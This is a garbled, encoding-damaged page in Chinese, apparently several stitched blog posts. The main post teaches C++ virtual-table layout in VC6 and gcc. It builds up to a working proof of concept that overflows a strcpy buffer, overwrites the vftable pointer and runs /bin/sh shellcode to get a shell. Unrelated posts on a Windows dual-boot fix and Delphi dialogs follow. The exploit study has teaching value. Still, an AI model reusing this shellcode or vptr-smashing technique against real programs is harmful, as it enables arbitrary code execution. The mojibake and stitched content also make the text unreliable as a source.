    ½ÓÏÂÀ´¾Í¿´¿´asmÀïÓÐʲôÐþÐ飬·ÖÎöÆðÀ´Óе㳤£¬ÒªÓÐÄÍÐÄ !

    ÎÒÃÇÀ´¿´¿´:

    Êý¾Ý¶¨Òå:

    _BSS   SEGMENT
    ?objA@@3VClassA@@A DQ 01H DUP (?)   ;objA 64λ
    ?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA Ò»¸öµØÖ·32λ
    _BSS   ENDS

    ¿´µ½objAΪ64룬Àï±ß´æ·ÅÁËÄÄЩÄÚÈÝÄØ? ½Ó×Å¿´¿´¹¹Ô캯Êý:

    _this$ = -4
    ??0ClassA@@QAE@XZ PROC NEAR ; ClassA::ClassA() ¶¨ÒåÁËÒ»¸ö±äÁ¿ _this ?!
    ; File test.cpp
    ; Line 6
      push   ebp
      mov   ebp, esp
      push   ecx
      mov   DWORD PTR _this$[ebp], ecx ; ecx ¸³Öµ¸ø _this ?? ²»Ã÷°×??

      mov   eax, DWORD PTR _this$[ebp]
      mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
          ; ClassA::`vftable'

    ; Ç°ÃæµÄ²¿·Ö¶¼ÊDZàÒëÆ÷¼ÓµÄ¶«¶«£¬ÎÒÃǵĸ³ÖµÔÚÕâÀï

      mov   ecx, DWORD PTR _this$[ebp]
      mov   DWORD PTR [ecx+4], 65535   ;0xffff num1=0xffff;
    ; ¿´À´ _this+4¾ÍÊÇnum1µÄµØÖ·

      mov   eax, DWORD PTR _this$[ebp]
      mov   esp, ebp
      pop   ebp
      ret   0
    ??0ClassA@@QAE@XZ ENDP

    ÄǸö_thisºÍmov   DWORD PTR _this$[ebp], ecx ÈÃÈ˱ȽÏÓôÃÆÁ˰ɣ¬²»¼±¿´¿´ºÎ
    ´¦µ÷ÓõĹ¹Ô캯Êý:

    _$E9   PROC NEAR
    ; File test.cpp
    ; Line 10
      push   ebp
      mov   ebp, esp
      mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A
      call   ??0ClassA@@QAE@XZ       ;call ClassA::ClassA()
      pop   ebp
      ret   0
    _$E9   ENDP

    ¿´£¬ecxÖ¸ÏòobjAµÄµØÖ·,ͨ¹ý¸³Öµ,ÄǸö_this¾ÍÊÇobjAµÄ¿ªÊ¼µØÖ·£¬ÆäʵCLASSÖÐ
    µÄ·Ç¾²Ì¬·½·¨±àÒëÆ÷±àÒëʱ¶¼»á×Ô¶¯Ìí¼ÓÒ»¸öthis±äÁ¿£¬²¢ÇÒÔÚº¯Êý¿ªÊ¼´¦°Ñecx
    ¸³Öµ¸øËû,Ö¸Ïòµ÷Óø÷½·¨µÄ¶ÔÏóµÄµØÖ· ¡£

    ÄÇô¹¹Ô캯ÊýÀïµÄÕâÁ½ÐÐÓÖÊǸÉÊ²Ã´ÄØ?
      mov   eax, DWORD PTR _this$[ebp]
      mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
          ; ClassA::`vftable'

    ÎÒÃÇÒѾ­ÖªµÀ_this±£´æµÄΪ¶ÔÏóµØÖ·: &objA¡£ ÄÇô eax = &objA
    ½ÓמÍÏ൱ÓÚ ( * eax ) = OFFSET FLAT:??_7ClassA@@6B@

    À´¿´¿´ ??_7ClassA@@6B@ ÊÇÄĸöµÀÉÏ»ìµÄ:

    CONST   SEGMENT
    ??_7ClassA@@6B@
        DD FLAT:?test1@ClassA@@UAEXXZ ; ClassA::`vftable'
      DD FLAT:?test2@ClassA@@UAEXXZ
    CONST   ENDS

    ¿´À´ÕâÀï´æ·ÅµÄ¾ÍÊÇtest1(),test2()º¯ÊýµÄÈë¿ÚµØÖ· ! ÄÇôÕâ¸ö¸³Öµ:
      mov   DWORD PTR [eax], OFFSET FLAT:??_7ClassA@@6B@
          ; ClassA::`vftable'
    ¾ÍÊÇÔÚ¶ÔÏóµÄÆðʼµØÖ·ÌîÈëÕâôһ¸öµØÖ·ÁбíµÄµØÖ·¡£


    ºÃÁË£¬ÖÁ´ËÎÒÃÇÒѾ­¿´µ½ÁËobjAµÄ¹¹ÔìÁË:

    | µÍµØÖ· |
    +--------+ ---> objAµÄÆðʼµØÖ· &objA
    |pvftable|
    +--------+-------------------------+
    | num1   | num1±äÁ¿µÄ¿Õ¼ä       |
    +--------+ ---> objAµÄ½áÊøµØÖ·   +--->+--------------+ µØÖ·±í vftable
    | ¸ßµØÖ· |                     |test1()µÄµØÖ· |
                              +--------------+
                              |test2()µÄµØÖ· |
                              +--------------+

    À´¿´¿´mainº¯Êý:
    _main   PROC NEAR
    ; Line 13
      push   ebp
      mov   ebp, esp
    ; Line 14
      mov   DWORD PTR ?pobjA@@3PAVClassA@@A,
              OFFSET FLAT:?objA@@3VClassA@@A     ; pobjA = &objA

    ; Line 15
      mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A   ; ecx = thisÖ¸Õë
                                        ; Ö¸Ïòµ÷ÓÃÕߵĵØÖ·
      call   ?test1@ClassA@@UAEXXZ           ; objA.test1()
            ; objA.test1()Ö±½Óµ÷Óã¬ÒѾ­È·¶¨Á˵ØÖ·
    ; Line 16
      mov   ecx, OFFSET FLAT:?objA@@3VClassA@@A
      call   ?test2@ClassA@@UAEXXZ           ; objA.test2()
    ; Line 17
      mov   eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
      mov   edx, DWORD PTR [eax]             ; edx = vftable
      mov   ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
      call   DWORD PTR [edx]               ;
        ; call vftable[0] ¼´ pobjA->test1() ¿´µØÖ·ÊǶ¯Ì¬²éÕÒµÄ ; )
                                             

    ; Line 18
      mov   eax, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
      mov   edx, DWORD PTR [eax]
      mov   ecx, DWORD PTR ?pobjA@@3PAVClassA@@A ; pobjA
      call   DWORD PTR [edx+4]               ; pobjA->test2()
        ; call vftable[1] ¶øvftable[1]Àï´æ·ÅµÄÊÇtest2()µÄÈë¿ÚµØÖ·
    ; Line 19
      xor   eax, eax
    ; Line 20
      pop   ebp
      ret   0
    _main   ENDP

     

    ºÃÁË£¬ÏàÐŵ½ÕâÀïÄãÒѾ­¶Ô¶¯Ì¬Áª±àÓÐÁËÉî¿ÌÓ¡Ïó¡£


    <¶þ> VCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé

    ͨ¹ýÉÏÃæµÄ·ÖÎöÎÒÃÇ¿ÉÒÔ¶Ô¶ÔÏó¿Õ¼ä×éÖ¯¸ÅÀ¨ÈçÏÂ:

    | µÍµØÖ·   |
    +----------+ ---> objAµÄÆðʼµØÖ· &objA
    |pvftable |--------------------->+
    +----------+               |
    |¸÷³ÉÔ±±äÁ¿|               |
    +----------+ ---> objAµÄ½áÊøµØÖ· +---> +--------------+ µØÖ·±í vftable
    | ¸ßµØÖ·   |                   |Ð麯Êý1µÄµØÖ· |
                              +--------------+
                              |Ð麯Êý2µÄµØÖ· |
                              +--------------+
                              | . . . . . . |

    ¿ÉÒÔ¿´³öÈç¹ûÎÒÃÇÄܸ²¸ÇpvtableÈ»ºó¹¹ÔìÒ»¸ö×Ô¼ºµÄvftable±íÄÇô¶¯Ì¬Áª±à¾ÍʹµÃ
    ÎÒÃÇÄܸıä³ÌÐòÁ÷³Ì!

    ÏÖÔÚÀ´×÷Ò»¸öÒç³öÊÔÑé:
    ÏÈд¸ö³ÌÐòÀ´¿´¿´
    #include<iostream.h>
    class ClassEx
    {
    };
    int buff[1];
    ClassEx obj1,obj2,* pobj;

    int main(void)
    {
    cout << buff << ":" << &obj1 << ":" << &obj2<< ":" << &pobj <<endl;
    return 0;
    }

    ÓÃcl±àÒëÔËÐнá¹ûΪ:
    0x00408998:0x00408990:0x00408991:0x00408994
    ±àÒëÆ÷°ÑbuffµÄµØÖ··Åµ½ºóÃæÁË!
    °Ñ³ÌÐò¸ÄÒ»¸Ä,¶¨Òå±äÁ¿Ê±»»³É:
    ClassEx obj1,obj2,* pobj;
    int buff[1];
    ½á¹û»¹ÊÇÒ»Ñù!! ²»»áÊÇvc¾ÍÊÇ·À×ÅÕâÒ»ÊÖ°É!
    ¿´À´Ï븲¸Ç²»ÈÝÒ×ѽ ; )
    Ö»ÄÜͨ¹ýobj1 Òç³ö¸²¸Çobj2ÁË

    //ex_vc.cpp
    #include<iostream.h>
    class ClassEx
    {
    public:
    int buff[1];
    virtual void test(void){ cout << "ClassEx::test()" << endl;};
    };
    void entry(void)
    {
    cout << "Why a u here ?!" << endl;
    };

    ClassEx obj1,obj2,* pobj;

    int main(void)
    {

    pobj=&obj2;
    obj2.test();

    int vtab[1] = { (int) entry };//¹¹Ôìvtab£¬
                        //entryµÄÈë¿ÚµØÖ·
    obj1.buff[1] = (int)vtab;   //obj1.buff[1]¾ÍÊÇ obj2µÄpvftableÓò
                        //ÕâÀïÐÞ¸ÄÁ˺¯ÊýÖ¸ÕëÁбíµÄµØÖ·µ½vtab
    pobj->test();
    return 0;
    }

    ±àÒë cl ex_vc.cpp

    ÔËÐнá¹û:
    ClassEx::test()
    Why a u here ?!

    ²âÊÔ»·¾³: VC6


    ¿´ÎÒÃÇÐÞ¸ÄÁ˳ÌÐòÖ´ÐÐÁ÷³Ì ^_^

    ƽʱÎÒÃDZà³Ìʱ¿ÉÄÜÓÃvirtaul²»¶à£¬µ«Èç¹ûÎÒÃÇʹÓÃBC/VCµÈ£¬ÇÒʹÓÃÁ˳§ÉÌÌṩµÄ
    ¿â£¬ÆäʵÎÒÃÇÒѾ­´óÁ¿Ê¹ÓÃÁËÐ麯Êý ,ÒÔºóд³ÌÐò¿ÉҪСÐÄÁË£¬Ò»¸ö²»ÁôÉñµÄ±äÁ¿
    ¸³Öµ¿ÉÄÜ»áºó»¼ÎÞÇî¡£ //¿ªÊ¼×ÁÄ¥ºÃ¶àϵͳ´øµÄ³ÌÐòÒ²ÊÇvcдµÄ£¬Àï±ß»á²»»á ....

     

    <Èý> GCCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé

    ¸Õ²ÅÎÒÃÇÒѾ­·ÖÎöÍêvcϵÄÐí¶àϸ½ÚÁË£¬ÄÇôÎÒÃǽÓÏÂÀ´¿´¿´gccÀïÓÐûÓÐʲô²»
    Ò»Ñù!·ÖÎö·½·¨Ò»Ñù£¬¾ÍÊÇд¸ötest.cppÓÃgcc -S test.cpp À´±àÒëµÃµ½»ã±àÎļþ
    test.s È»ºó·ÖÎötest.sÎÒÃǾÍÄܵõ½Ðí¶àϸ½ÚÉϵĶ«Î÷¡£

    ͨ¹ý·ÖÎöÎÒÃÇ¿ÉÒÔ¿´µ½:

    gccÖжÔÏóµØÖ·¿Õ¼ä½á¹¹ÈçÏÂ:

    |   µÍµØÖ·     |
    +---------------+ ¶ÔÏóµÄ¿ªÊ¼µØÖ·
    |           |
    | ³ÉÔ±±äÁ¿¿Õ¼ä |
    |           |
    +---------------+
    | pvftable     |----------->+------------------+ vftable
    +---------------+         |     0       |
    |   ¸ßµØÖ·   |         +------------------+
                      |   XXXXXXXX     |
                      +------------------+
                      |     0       |
                      +----------------- +
                      | Ð麯Êý1Èë¿ÚµØÖ· |
                      +------------------+
                      |     0       |
                      +----------------- +
                      | Ð麯Êý2Èë¿ÚµØÖ· |
                      +------------------+
                      | . . . . . .   |


    ¹þ¹þ£¬¿ÉÒÔ¿´µ½gccÏÂÓиö·Ç³£´óµÄÓÅÊÆ£¬¾ÍÊdzÉÔ±±äÁ¿ÔÚpvftable
    Ç°Ãæ£¬ÒªÊÇÒç³ö³ÉÔ±±äÁ¿¸³Öµ¾ÍÄܸ²¸Çpvftable£¬±ÈvcÏ·½±ã¶àÁË!


    À´Ð´¸öÒç³ö²âÊÔ³ÌÐò:

    //test.cpp
    #include<iostream.h>
    class ClassTest
    {
    public:
    long buff[1];   //´óСΪ1
    virtual void test(void)
    {
      cout << "ClassTest test()" << endl;
    }
    };

    void entry(void)
    {
    cout << "Why are u here ?!" << endl;
    }

    int main(void)
    {
    ClassTest a,*p =&a;
    long addr[] = {0,0,0,(long)entry}; //¹¹½¨µÄÐ麯Êý±í
                          //test() -> entry()

    a.buff[1] = ( long ) addr;// Òç³ö£¬²Ù×÷ÁËÐ麯ÊýÁбíÖ¸Õë
    a.test();   //¾²Ì¬Áª±àµÄ£¬²»»áÓÐÊÂ
    p->test();   //¶¯Ì¬Áª±àµÄ£¬µ½ÎÒÃǵĺ¯Êý±íÈ¥ÕÒµØÖ·£¬
              //   ½á¹û¾Í±ä³ÉÁ˵÷Óú¯Êý entry()

    }

    ±àÒë: gcc test.cpp -lstdc++
    Ö´Ðнá¹û:
    bash-2.05# ./a.out
    ClassTest test()
    Why are u here ?!


    ²âÊÔ³ÌÐò˵Ã÷:

    ¾ßÌåµÄ¾ÍÊÇgcc -S test.cppÉú³É test.s ºóÀï±ßÓÐÕâôһ¶Î:
    .section     .gnu.linkonce.d._vt$9ClassTest,"aw",@progbits
        .p2align 2
        .type   _vt$9ClassTest,@object
        .size   _vt$9ClassTest,24
    _vt$9ClassTest:
        .value 0
        .value 0
        .long __tf9ClassTest
        .value 0
        .value 0
        .long test__9ClassTest       ----------+
        .zero   8                       |
        .comm   __ti9ClassTest,8,4           |
                                      |
                                      |
                    test()µÄµØÖ·       <----+


    Õâ¾ÍÊÇÆäÐ麯ÊýÁбíÀïµÄÄÚÈÝÁË¡£

                test()µØÖ·ÔÚµÚ3¸ö(long)Ð͵ØÖ·¿Õ¼ä

    ËùÒÔÎÒÃǹ¹Ôìaddr[]ʱ:

      long addr[] = {0,0,0,(long)entry};

      ¾Í¸²¸ÇÁËtest()º¯ÊýµÄµØÖ· Ϊ entry()µÄµØÖ·

      p->test()
      ʱ¾ÍÅܵ½ÎÒÃǹ¹½¨µÄµØÖ·±íÀïÈ¡ÁËentryµÄµØÖ·È¥ÔËÐÐÁË


    ²âÊÔ»·¾³ FreeBSD 4.4
          gcc 2.95.3

    À´Ò»¸öÕæÊµÒ»µãµÄ²âÊÔ:
    ͨ¹ýÒç³ö¸²¸Çpvftable£¬Ê±ÆÚÖ¸ÏòÒ»¸öÎÒÃÇ×Ô¼º¹¹ÔìµÄ
    vftable,²¢ÇÒÈÃvftableµÄÐ麯ÊýµØÖ·Ö¸ÏòÎÒÃǵÄÒ»¶Îshellcode
    ´Ó¶øµÃµ½Ò»¸öshell¡£

    #include<iostream.h>
    #include<stdio.h>
    class ClassBase //¶¨ÒåÒ»¸ö»ù´¡Àà
    {
    public:
    char buff[128];
    void setBuffer(char * s)
    {
      strcpy(buff,s);
    };
    virtual void printBuffer(void){}; //Ð麯Êý
    };

    class ClassA :public ClassBase
    {
    public:
    void printBuffer(void)
    {
      cout << "Name :" << buff << endl;
    };
    };

    class ClassB : public ClassBase
    {
    public:
    void printBuffer(void)
    {
      cout << "The text : " << buff << endl;
    };
    };

    char buffer[512],*pc;        
    long * pl = (long *) buffer;
    long addr = 0xbfbffabc;   // ÔÚÎҵĻúÆ÷ÉϾÍÊÇ &b ^_*
    char shellcode[]="1\xc0Ph//shh/binT[PPSS4;\xcd\x80";
    int i;

    int main(void)
    {
    ClassA a;
    ClassB b;
    ClassBase * classBuff[2] = { &a,&b };

    a.setBuffer("Tom");
    b.setBuffer("Hello ! This is world of c++ .");

    for(i=0;i<2;i++)   //C++ÖеĹßÓÃÊÖ·¨£¬
                  //Ò»¸ö»ù´¡ÀàµÄÖ¸ÕëÖ¸ÏòÉϲãÀà¶ÔÏóʱµ÷
              //ÓõÄΪ¸ß²ãÀàµÄÐ麯Êý
      classBuff->printBuffer(); // ÕâÀïÊÇÕý³£Ó÷¨

    cout << &a << " : " << &b << endl; // &b¾ÍÊÇÉÏÃæaddrµÄÖµ£¬
                //Èç¹ûÄãµÄ»úÆ÷ÉÏÁ½¸öÖµ²»Í¬¾Í¸ÄÒ»¸ÄaddrÖµ°É!
        //¹¹ÔìÒ»¸öÌØÊâµÄbuff´ô»á¸øb.setBuffer
        // ÔÚ¿ªÊ¼´¦¹¹ÔìÒ»¸övftable
    pl[0]=0xAAAAAAAA;   //Ìî³ä1
    pl[1]=0xAAAAAAAA;   //Ìî³ä2
    pl[2]=0xAAAAAAAA;   //Ìî³ä3
    pl[3]=addr+16;     //Ð麯ÊýprintBufferÈë¿ÚµØÖ·
                    // µÄλÖÃÖ¸Ïòshell´úÂë´¦ÁË
    pc = buffer+16;
    strcpy(pc,shellcode);
    pc+=strlen(shellcode);

    for(;pc - buffer < 128 ; *pc++='A'); //Ìî³ä

    pl=(long *) pc;
    *pl= addr;         //¸²¸ÇpvftableʹÆäÖ¸ÏòÎÒÃǹ¹ÔìµÄÁбí

    b.setBuffer(buffer); //Òç³öÁ衃 .

    // ÔÙÀ´Ò»´Î
    for(i=0;i<2;i++)
      classBuff->printBuffer(); // classBuffer[1].printBuffer
                          // ʱһ¸öshell¾Í³öÀ´ÁË

    return 0;
    }


    bash-2.05$ ./a.out
    Name :Tom
    The text : Hello ! This is world of c++ .
    0xbfbffb44 : 0xbfbffabc
    Name :
    $           <------ ºÇºÇ£¬³É¹¦ÁË

    ˵Ã÷:

    addr = &b Ò²¾ÍÊÇ &b.buff[0]

    b.setBuffer(buffer)
    ¾ÍÊÇÈà b.buffÒç³ö£¬¸²¸Ç128+4+1¸öµØÖ·¡£
    ´ËʱÄÚ´æÖеĹ¹ÔìÈçÏÂ:

    &b.buff[0] Ò²ÊÇ &b
    ^
    |
    |
    [Ìî³ä1|Ìî³ä2|Ìî³ä3|addr+16|shellcode|Ìî³ä|addr | \0]
                ____ ^           ___
                  |   |           |
                  |   |           |
    |               +---+         | |
    |                           | |
    +---------------> 128   <--------------+ |
                                |
    ´Ë´¦¼´pvftableÏî ,±»Òç³ö¸²¸ÇΪ addr   <---+                

    ÏÖÔÚb.buff[0]µÄ¿ªÊ¼´¦¾Í¹¹½¨ÁËÒ»¸öÎÒÃÇ×Ô¼ºµÄÐé
    º¯Êý±í£¬Ð麯ÊýµÄÈë¿ÚµØÖ·ÎªshellcodeµÄµØÖ· !


        ±¾ÎÄÖ»ÊÇÒ»¸öÒýµ¼ÐÔÎÄ×Ö£¬»¹ÓÐÐí¶àû
    ÓÐÌáµ½µÄϸ½Ú£¬ÐèÒª×Ô¼ºÈ¥·ÖÎö¡£
        Ë×»°Ëµ×Ô¼º¶¯ÊÖ·áÒÂ×ãʳ *_&

    <ËÄ> ²Î¿¼

    Phrack56# << SMASHING C++ VPTRS >>

  • 2000XP˫ϵͳÆô¶¯ÎÊÌâ

    2008-03-03 11:24:08

    2000XP˫ϵͳÆô¶¯ÎÊÌâ

    ÏÈ×°ºÃÁËWindowsXP£¬È»ºóÔÙ°²×°Windows 2000¡£¿ª»úºó·¢ÏÖWindows XPµÄ¹ö¶¯ÌõÏûʧºó£¬µçÄÔ¼´ºÚÆÁ£¬ÎÞ·¨½øÈëµÇ¼»­Ãæ¡£

    ¡¡¡¡Æäʵ£¬Õâ¸öÎÊÌâÊÇÒòΪµ±°²×°ºÃWindows 2000ºó£¬Ä³Ð©ÏµÍ³Îļþ´Ó¸ß°æ±¾±ä»ØµÍ°æ±¾£¬Òò´Ëµ¼ÖÂWindows XPÎÞ·¨Ê¶±ð¡£

        ½â¾öÕâ¸öÎÊÌâºÜ¼òµ¥£º´ÓWindows XP°²×°¹âÅÌÖн«I386Ŀ¼ÖеÄNTLDR¡¢DOSNET.INF¸´ÖƵ½CÅ̸ùĿ¼ÏÂÌæ»»ÏÖÓÐÎļþ¼´¿É¡£

    ¡¡¡¡Ìáʾ£º°²×°¶à²Ù×÷ϵͳʱ£¬×ñÑ­Windows 98¡úWindows 2000¡úWindows XP¡úWindows 2003µÄ˳Ðò£¬¾Í²»»á³öÏÖϵͳ¼ä»¥Ïà¡°¸ÉÈÅ¡±µÄÎÊÌâ¡£

  • µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Î壩

    2007-05-28 16:24:46

    1.4.3.1 µ÷Óñê×¼¶Ô»°¿ò¡¡

    Äú¿ÉÒÔ·¢ÏÖ£¬³ýÁËFont,Find,Replace¶Ô»°¿òÖ®Í⣬ÆäÓà±ê×¼¶Ô»°¿òµÄEventsÒ³¶¼Êǿհ׵ġ£ÒòΪËüÃDZ¾ÉíÊDz»¿ÉÊӵĶԻ°¿òÐÎʽ£¬ËùÒÔ²»ÄÜÏìÓ¦±ê×¼µÄÊó±ê¼üÅ̲Ù×÷£¬Ö»ÄÜÔÚ³ÌÐòÖе÷ÓÃËüÃÇ¡£ÔÚ±¾ÕµÚÒ»½ÚµÄDemo³ÌÐòÖУ¬ÎÒÃÇÒѾ­¶ÔÓÃColor¶Ô»°¿òÓÐÁËÁ˽⣬ÔÚ³ÌÐòµÄÊʵ±Î»ÖüÓÈë¶Ô»°¿òËùÊôµÄExecute·½·¨£¬¿ÉÒÔÖ´Ðбê×¼¶Ô»°¿ò¡£

    ÔÚ±àÖÆÓ¦ÓóÌÐòʱ£¬Äú¿ÉÒÔÏÈÉè¼ÆºÃÖ÷²Ëµ¥¡£ÔÚÐèҪʹÓñê×¼¶Ô»°¿òµÄ²Ëµ¥ÏîµÄʼþ´¦Àí¹ý³ÌÖУ¬µ÷Óñê×¼¶Ô»°¿òµÄExecuteµÈ·½·¨£¬ÒÔÂú×ãÉè¼ÆÐèÇ󣬼´ÏìÓ¦²Ëµ¥ÃüÁ³ö±ê×¼¶Ô»°¿ò¡£¡¡

    1.4.3.2 OpenDialogºÍSaveDialog²¿¼þ¡¡

    OpenDialog(ÎļþµÄ´ò¿ª)ºÍSaveDialog(±£´æ¶Ô»°¿ò)²¿¼þ´¦ÀíÎļþµÄ´ò¿ªÓë´æ´¢£¬ËüÃÇÓµÓÐÍêÈ«ÏàͬµÄÊôÐÔÓò¡£DefaultExtÊôÐÔ±íʾȱʡÀ©Õ¹Ãû¡£µ±Óû§Ã»ÓÐÊäÈëÎļþµÄºó׺ʱ£¬¿ÉÒÔΪÓû§Îļþ×Ô¶¯¼ÓÀ©Õ¹Ãû¡£FileNameÊôÐÔÖ¸¶¨³öÏÖÔÚFileNameÕýÎÄ¿òÖеÄȱʡÎļþÃû¡£FilterÊôÐÔÌṩÁËÎļþ¹ýÂËÆ÷¡£FileEditStyle¾ö¶¨ÔÚÊäÈëÎļþÃûʱÓÃEdit»¹ÊÇCombo- Box£»ÉèÖÃΪfsComboBoxʱ£¬ÔÊÐíʹÓÃÀúÊ·ÁбíHistoryListÊôÐÔ£¬ÕâÔÚÓ¦ÓóÌÐòÐèÒª¾­³£Ñ¡ÔñÎļþʱ£¬¿ÉÒÔ½ÚÔ¼´óÁ¿µÄʱ¼ä¡£HistoryListÊôÐÔ±£´æÓÐÔÚFile NameÏÂÀ­Ê½±à¼­¿òÖÐÏÔʾµÄÎļþÃû£¬Ê¹ÓÃ[TStrings]µÄÊ¡ÂÔ°´Å¥¿ÉÒԱ༭ÀúÊ·ÁÐ±í¡£ÄúÒ²¿ÉÒÔ±à³ÌʵÏÖ½«HistoryListÊôÐÔÉèΪÒÔǰÓÃOpenDialog´ò¿ªµÄÎļþÃûÀúÊ·ÁÐ±í¡£ÏÂÁгÌÐò¶Î¿ÉÒÔʵÏÖ×Ô¶¯ÀúÊ·ÎļþÃû¼ÓÔØ£º¡¡

    if OpenDialog1.Execute then

    OpenDialog1.HistoryList.Insert(0,OpenDialog1.FileName);¡¡

    1.4.3.3 ColorDialogºÍFontDialog¡¡

    ÑÕÉ«¶Ô»°¿òColorDialogÎÒÃÇÔÚǰÎĵÄÀý³ÌÖÐÒѾ­Óùý£¬Æä¸üÏêϸµÄ¹¦ÄÜÈçOptionsµÄÉ趨Çë²éÔÄÔÚÏß°ïÖú¡£

    ×ÖÌå¶Ô»°¿òFont¿ÉÒÔ°ïÖúÓû§»ñÈ¡¸÷ÖÖ·½Ê½µÄ×ÖÌ塣ʹÓÃOnApplyʼþ£¬¿ÉÒÔʹµÃFont¶Ô»°¿òÖаüº¬Ò»¸öApply°´Å¥£¬°´¶¯Ëü£¬¶Ô»°¿òÖÐÉ趨µÄ×ÖÌå»áÁ¢¼´Ó¦Óõ½Ö¸¶¨µÄ¶ÔÏóÖУ¬¶ø¶Ô»°¿òÈÔÈ»ÊÇ´ò¿ªµÄ£¬ÕâÑù¸ü±ãÓÚ¹Û²ìÐ޸ĵĽá¹û¡£

    ÒÔϵÄÀý³ÌÔÚ´°ÌåÖÐÏÈ·ÅÖÃÒ»¸ö°´Å¥Button1£¬µ÷ÓÃ×ÖÌå¶Ô»°¿òÀ´¸Ä±ä°´Å¥ÉϵÄCaptionÊôÐÔÏÔʾµÄ×ÖÌ壺¡¡

    Procedure TForm1.Button1Click(Sender:TObject);

    begin

    FontDialog1.Execute;

    end;¡¡

    Procedure TForm1.FontDlgApply(Sender:Tobject);

    begin

    Button1.Font:= FontDialog1.Font;

    end;¡¡

    1.4.3.4 PrintDialogºÍPrintSetupDiaog¡¡

    ´òÓ¡¶Ô»°¿òPrintDialogºÍ´òÓ¡ÉèÖöԻ°¿òPrintSetupDialog¿ÉÒÔÏÔʾ±ê×¼´òÓ¡¡¢´òÓ¡ÉèÖöԻ°¿ò£¬Ö§³Ö´òÓ¡ÎļþºÍ´òÓ¡ÉèÖù¦ÄÜ£¬ÉèÖÃËüµÄOptionsÊôÐÔ¿ÉÒԹ涨¶Ô»°¿òµÄ±íÏÖÐÎʽ¡¡

    1.4.3.5 FindDialogºÍReplaceDialog¡¡

    FindDialogºÍReplaceDialogÌṩÁ˲éÕÒ¡¢Ìæ»»Á½¸ö¶Ô»°¿ò²¿¼þ£¬¶ÔÓÚѰÕÒºÍÌæ»»Îı¾ÊǼ«ÆäÓÐÓõġ£ÔÚFindDialogºÍReplaceDialogÖж¼ÓÐOnFindʼþ£¬µ±Óû§µ¥»÷ѰÕÒ¶Ô»°¿òÖеÄFind Next°´Å¥Ê±½«´¥·¢Õâһʼþ¡£FindTextÊôÐÔÖб£´æÁËÓû§ÔÚFind What±à¼­¿òÖÐÊäÈëµÄÎı¾¡£ÔÚReplaceDialogÖл¹ÓÐOnReplaceʼþ£¬µ±Óû§µ¥»÷Ìæ»»¶Ô»°¿òÖеÄReplaceºÍReplace All°´Å¥Ê±£¬½«´¥·¢OnReplaceʼþ¡£FindTextºÍReplaceTextÊôÐԷֱ𱣴æÁËÓû§ÔÚFind WhatºÍReplace With±à¼­¿òÖÐÊäÈëµÄÎı¾¡£¡¡

    1.5 ʹÓÃDelphiµÄ¹¤³Ì¹ÜÀí¡¢Éè¼Æ¹¤¾ß¡¡

    Delphi 2.0ÊÇÍ걸µÄ¹¤³ÌÉè¼ÆÏµÍ³£¬³ýÌṩÁË´óÁ¿µÄ¿ÉÊÓ»¯±à³Ì²¿¼þºÍ¼òµ¥·½±ãµÄÉè¼Æ·½·¨Í⣬»¹±¸Óй¦ÄÜÇ¿´óµÄ¹¤³Ì¹ÜÀí¡¢´°¿ÚÉè¼Æ¹¤¾ß¡£¡¡

    1.5.1 ´´½¨¶à´°Ì幤³ÌÏîÄ¿¡¡

    ¾ø´ó¶àÊýµÄÓ¦ÓóÌÐò¶¼Óõ½²»Ö»Ò»¸ö´°¿Ú£¬DelphiÔÊÐíÓû§´´½¨¶àÎĵµ½çÃæ(MDI)Ó¦ÓóÌÐò¡£Ó¦ÓÃ×Ô¶¯´´½¨´°Ìå¡¢´°ÌåÑù°å¡¢¶Ô»°¿òר¼Ò¡¢Ó¦ÓÃר¼ÒµÈ£¬¿ÉÒÔʹµÃ´´½¨Ó¦ÓóÌÐò¸üΪ·½±ã¿ì½Ý£¬¶øÇÒ¿ÉÖØ¸´ÀûÓ㬴ó´óµØ½µµÍÁ˹¤×÷Á¿¡£¡¡

    1.5.1.1 ´´½¨Ò»¸öº¬ÓÐAbout¿òµÄÀý³Ì¡¡

    ×÷ΪÀý×Ó£¬ÎÒÃÇÏÈ´´½¨Ò»¸öº¬Ö÷´°ÌåºÍ¼òµ¥µÄAbout¿òµÄÓ¦ÓóÌÐò£º

    ÔÚDelphiÖд´½¨Ò»¸öй¤³Ì£¬²¢Îª¿Õ´°¿ÚÔö¼ÓÒ»¸öButton²¿¼þ¡£ÎÒÃǰÑËü×÷ΪÖ÷´°Ì壬ĿµÄÊǵ±°´¶¯°´Å¥²¿¼þʱ£¬µ÷³öAbout´°¿Ú¡£ÏÂÃæÎÒÃÇÖ±½Ó½øÐÐAbout´°¿ÚµÄ´´ÖÆ¡£

    Ñ¡ÓÃÖ÷²Ëµ¥µÄFile|NewÏÔÚNewÒ³ÖУ¬Ñ¡ÓÃFormÑù°å£¬Delphi»á×Ô¶¯´´½¨Ò»¸ö¿Õ´°ÌåForm2¡£Äú¿ÉÒÔÔÚÆäÉϽøÐÐAbout¿òµÄÉè¼Æ£¬ÀýÈç¼ÓÈë±êÇ©ÒÔÏÔʾ¸÷ÖÖÐÅÏ¢¡¢¼ÓÈëͼƬ°ïÖú˵Ã÷µÈ¡£½«Form2µÄBorderStyleÊôÐÔÉèÖÃΪbsDialog£¬Ôò´°¿Ú³ÉΪÔËÐÐʱ²»Äܸıä´óСµÄ¶Ô»°¿ò¡£

